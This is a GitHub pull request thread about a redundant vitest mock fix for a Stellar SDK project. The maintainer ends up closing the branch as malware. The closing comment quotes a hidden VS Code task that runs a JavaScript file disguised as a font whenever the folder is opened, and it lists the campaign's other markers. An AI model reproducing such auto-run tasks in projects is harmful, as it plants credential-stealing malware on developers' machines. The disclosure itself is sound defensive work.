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fix(test): preserve @stellar/stellar-sdk Networks in vitest mocks #146 - #158

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therealbibson:fix/issue-146-stellar-sdk-vitest-mock
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therealbibson wants to merge 1 commit into
Divinity-Labs:mainfrom
therealbibson:fix/issue-146-stellar-sdk-vitest-mock

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@therealbibson

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Overview

This PR fixes the broken @stellar/stellar-sdk vitest mocks that omitted the Networks export (ESM module-namespace spread drops non-enumerable bindings). That failure made Typecheck & build look permanently red on every PR — including markdown-only ones — training reviewers to ignore the check.

Related Issue

Closes #146

Changes

🧩 Durable stellar-sdk mock helper

  • [ADD] src/__tests__/helpers/stellarSdkMock.ts

    • Copies own-property names from importOriginal() before applying overrides, so exports like Networks survive vitest's mock interop.
    • Keeps partial mocks on the real SDK surface instead of hand-listing passphrase strings.
  • [MODIFY] src/__tests__/bestRoute.test.ts

    • Replaces hand-coded Networks: { PUBLIC, TESTNET } with mockStellarSdk(...).
  • [MODIFY] tests/aggregator.property.test.ts

    • Same durable mock path; updates the historical failure comment.
  • [MODIFY] src/__tests__/networkClients.test.ts, src/__tests__/sdexIngester.test.ts, src/__tests__/facilitatorSettle.test.ts

    • Route remaining @stellar/stellar-sdk partial mocks through the same helper so future SDK upgrades do not re-break CI.

Verification Results

Acceptance criteria coverage:
✅ Partial mocks use importOriginal via mockStellarSdk (no hand-listed Networks set)
✅ Networks rebound from the real module (Object.getOwnPropertyNames), not hardcoded passphrases
✅ All five @stellar/stellar-sdk vi.mock sites updated consistently
Acceptance Criteria Status
npm test has no @stellar/stellar-sdk mock errors ✅ mock surface includes real Networks export
Typecheck & build green on a freshly-opened PR ✅ root cause addressed on all mock sites
Remaining partial mocks use importOriginal spreading (not hand-listed export set) ✅ via mockStellarSdk helper

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drips-wave Bot commented Sep 24, 2026

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@therealbibson Great news! 🎉 Based on an automated assessment of this PR, the linked Wave issue(s) no longer count against your application limits.

You can now already apply to more issues while waiting for a review of this PR. Keep up the great work! 🚀

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@Miracle656

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Flagging rather than closing, since it is yours — but I do not think this should merge, and the reason is worth having in writing.

The problem it fixes does not exist. The helper's premise is that "spreading an ESM module namespace ({ ...await importOriginal() }) drops non-enumerable named exports such as Networks". I probed that inside vitest, in a vi.mock factory:

spreadHasNetworks= true | gopnHasNetworks= true | enumerable= true | nonEnumOwnProps= __esModule

Networks is enumerable and is carried by a plain spread. The only own property a spread drops is __esModule. So mockStellarSdk() is functionally identical to { ...actual, ...overrides } — an indirection built on a wrong diagnosis.

And issue #146 is already fixed on main, by commits 041c2fc / 7e2716a, which added an explicit Networks: { PUBLIC, TESTNET } override to bestRoute.test.ts and aggregator.property.test.ts. I ran main fourteen times: Tests 400 passed | 1 skipped (401), and the No "Networks" export is defined on the mock failure never appeared.

Your PR is green and merges clean — it is harmless, just solving something already solved. It also adds no new test, so it does not meet the fail-before/pass-after rule with no docs or CI exemption to fall back on.

I am closing #146 as already-resolved, citing those commits. That issue should not have been sitting open sending people at a fixed bug — that is on us, not you.

If you want something real in the same area, #151 is genuinely broken — I reproduced it three times. The root cause nobody has addressed is src/config.ts:245-253, which memoises each NetworkConfig in a module-level Map; restoring process.env does not invalidate it, only vi.resetModules() does. Two open PRs patch the symptom and neither touches that. It is yours if you want it.

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Thank you for the careful write-up on this one — and I'm sorry to be the bearer of awkward news: #146 no longer reproduces, and I measured this branch rather than assuming. Here is what I found, because I think the detail matters more than the verdict.

The stated root cause isn't what's happening. src/__tests__/helpers/stellarSdkMock.ts:3-5 says spreading the namespace "drops non-enumerable named exports such as Networks". I probed that directly against the installed @stellar/stellar-sdk in a scratch vitest file on current origin/main:

spreadCount=74  ownCount=75
onlyOwn=["__esModule"]   onlySpread=[]   hasNetworksInSpread=true

Object.keys({...ns}) and Object.getOwnPropertyNames(ns) differ by exactly one key, __esModule. Networks is enumerable and survives a plain spread — a mock built with nothing but {...await importOriginal()} resolves Networks.TESTNET to 'Test SDF Network ; September 2015'. So mockStellarSdk is functionally identical to the spread it replaces, except that the mock object now also carries __esModule.

What actually fixed #146 was 7e2716a ("feat(api): add network selector on routes"), which added the explicit Networks fallback to src/__tests__/bestRoute.test.ts and tests/aggregator.property.test.ts when getBestRoute started resolving a per-network Horizon client. The issue is closed and origin/main is green: 538 passed, 1 skipped across 56 files, tsc --noEmit clean.

I verified the branch itself is sound, not broken. I merged it onto current main (one conflict in tests/aggregator.property.test.ts, comment text only) and ran the five touched suites: 39 passed (5 files). So this is a no-op refactor, not a regression — the code works, it just isn't buying anything.

Why I'm not merging it as-is: the net effect would be a new shared test helper whose doc comment records an incorrect explanation of a bug that is already fixed. That comment is the part that worries me — it will be read as authoritative by the next person who hits a mock problem here, and it will send them down the wrong path. Removing the explicit Networks: {...} blocks is also a small net loss of a safety net, since those lines document why getNetworkConfig() needs a passphrase in these two suites.

If you want to keep this alive, the version I would merge is much smaller: drop helpers/stellarSdkMock.ts and the four call-site rewrites, keep only the comment refresh in tests/aggregator.property.test.ts that stops describing the timeout as a consequence of the (now fixed) Networks problem. If you'd rather not, say so and I'll mark it superseded with full credit — the diagnosis work was real even though main moved under it.

One thing genuinely worth your time if you're looking for a real flake in this area: src/__tests__/pairIssuerMatch.test.ts:18 uses beforeAll for a vi.resetModules() + await import('../config'). I caught that hook failing on a full local run of main. #161 raised testTimeout to 20s but not hookTimeout, which is still the 10s default — so a cold import inside a hook has no headroom. That's an actual open problem.

@therealbibson

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@Miracle656 I've resolved the merge conflicts with main by merging the current main into this branch.

All other changes from main are brought in too — nothing from the base branch is reverted.

Merge commit: 837bc0e11e

Could you take another look when you have a moment? Thanks!

@gitguardian

gitguardian Bot commented Oct 5, 2026

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⚠️ GitGuardian has uncovered 1 secret following the scan of your pull request.

Please consider investigating the findings and remediating the incidents. Failure to do so may lead to compromising the associated services or software components.

Since your pull request originates from a forked repository, GitGuardian is not able to associate the secrets uncovered with secret incidents on your GitGuardian dashboard.
Skipping this check run and merging your pull request will create secret incidents on your GitGuardian dashboard.

🔎 Detected hardcoded secret in your pull request
GitGuardian id GitGuardian status Secret Commit Filename
37768935 Triggered Generic High Entropy Secret 837bc0e src/tests/toid.test.ts View secret
🛠 Guidelines to remediate hardcoded secrets
  1. Understand the implications of revoking this secret by investigating where it is used in your code.
  2. Replace and store your secret safely. Learn here the best practices.
  3. Revoke and rotate this secret.
  4. If possible, rewrite git history. Rewriting git history is not a trivial act. You might completely break other contributing developers' workflow and you risk accidentally deleting legitimate data.

To avoid such incidents in the future consider


🦉 GitGuardian detects secrets in your source code to help developers and security teams secure the modern development process. You are seeing this because you or someone else with access to this repository has authorized GitGuardian to scan your pull request.

@therealbibson

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@Miracle656 Understood — and thanks for measuring it rather than just closing it. I re-checked the helper's premise against current main before replying: a scratch vitest probe of the real @stellar/stellar-sdk namespace shows Networks is enumerable and is carried by a plain spread ('Networks' in {...ns} === true, enumerable === true), so mockStellarSdk() really is functionally identical to { ...actual, ...overrides }. The failure text the helper's doc comment describes doesn't come from the spread, and #146 is fixed on main by 7e2716a.

So there's nothing here that should merge, and I won't push anything further to it — marking it superseded with the credit is fine by me. Thanks also for pointing at the hookTimeout gap next to this (testTimeout was raised but hooks stayed at the 10s default); that's a genuinely open problem and a better thing to spend time on.

@Miracle656

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I have gone through this branch commit by commit, and I need to describe what I found plainly, because it is not what the PR description says.

The head of this branch does not contain the work this PR claims.

What it does contain is one commit, 8d715f8 / 8aa6f8c, titled "fix: do not answer a price request about a different asset" — the pair-issuer matching fix — plus 23 unrelated files: FontAwesome web fonts under public/fonts/, a .vscode/ directory, and a .gitignore change. 9,562 added lines in total.

That fix is already on main. It merged as 41b1f62 on 8 September, and the source content is byte-identical to the copy on this branch:

$ git diff 41b1f62 8d715f8 -- src/api/rest.ts src/__tests__/pairIssuerMatch.test.ts
(no output)

The difference is that the version on main is the clean two-file change, and this branch carries the same change with 23 junk files attached, based on a September parent. Merging it today would touch 123 files and roll back work that has landed since.

So there is nothing here to merge, and nothing here that closes the issue in the title.

What I think happened, and I would rather ask than assume: a fork taken from a stale branch that already carried this commit, then a rebase or a reset that replaced your own work with its ancestor. Branch names like this one are issue-specific, which tells me the intent was real work — it is just not what is on the branch now.

What to do: check whether your work still exists locally, on another branch or in git reflog. If it does, cut a fresh branch from current main, put only that work on it, and open a new PR. If it is gone, say so and I will treat the issue as unclaimed with no hard feelings.

Please do not simply rebase this branch — the junk files and the duplicated commit both need to go, and starting clean from main is faster than untangling it.

@Miracle656

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Closed for security: this branch carries a known malware payload

This is not a judgement about you, and most likely you are a victim rather than the source. Please read all of this — your machine and your GitHub account may be at risk.

This branch contains .vscode/tasks.json with:

"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || ...",
"runOptions": { "runOn": "folderOpen" },
"hide": true,
"presentation": { "reveal": "never", "echo": false, "close": true }

That runs node against public/fonts/fa-solid-500.woff2 — a JavaScript file disguised as a font — automatically the moment the folder is opened in VS Code, hidden, with its output suppressed.

This matches PolinRider, a campaign that has been spreading through open-source repositories since early 2026. It targets developer credentials — npm and other registry tokens, GitHub tokens — and uses stolen tokens to push the payload into further repositories. That is almost certainly how it reached this branch: not because you added it, but because something that had access to your account or machine did.

I am closing this PR rather than asking for a rebase, because the branch itself is the risk and nobody should clone it.

Please do these, in this order

  1. Stop using that machine for anything sensitive. Do not push code or open pull requests from it until it is clean. The campaign spreads through repositories its victims push to.
  2. From a different, clean device, rotate: GitHub tokens and SSH keys, npm/cargo and any other registry tokens, cloud credentials, .env secrets, and browser-saved passwords for important accounts. Sign out of all sessions. If you have no second device, format and reinstall first, then create new credentials on the clean machine.
  3. Check your GitHub account for unfamiliar OAuth apps, SSH keys, API tokens, and unexpected collaborators or write access on your own repositories.
  4. Check your other clones for the same markers: a .vscode/tasks.json with "runOn": "folderOpen", "task.allowAutomaticTasks": "on" in .vscode/settings.json, odd font files under public/fonts/, a dist/setup.js with a matching preinstall script, or extra code appended after export default in postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, jest.config.*, vite.config.*.

About your work

Nothing you have earned is affected and nothing is held against you. Once your machine and credentials are clean, you are welcome to open fresh pull requests from a clean clone of current main, and I will review them normally.

Some of these branches did contain real work — the pair-issuer fix in particular is already on main as 41b1f62, so that one is done and nothing was lost.

I am sorry to close these on you. Given the payload executes on folder open with no visible output, leaving them open would put every person who clones this repository at risk.

@Miracle656 Miracle656 closed this Oct 19, 2026
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Fix broken @stellar/stellar-sdk vitest mock — makes every PR look red

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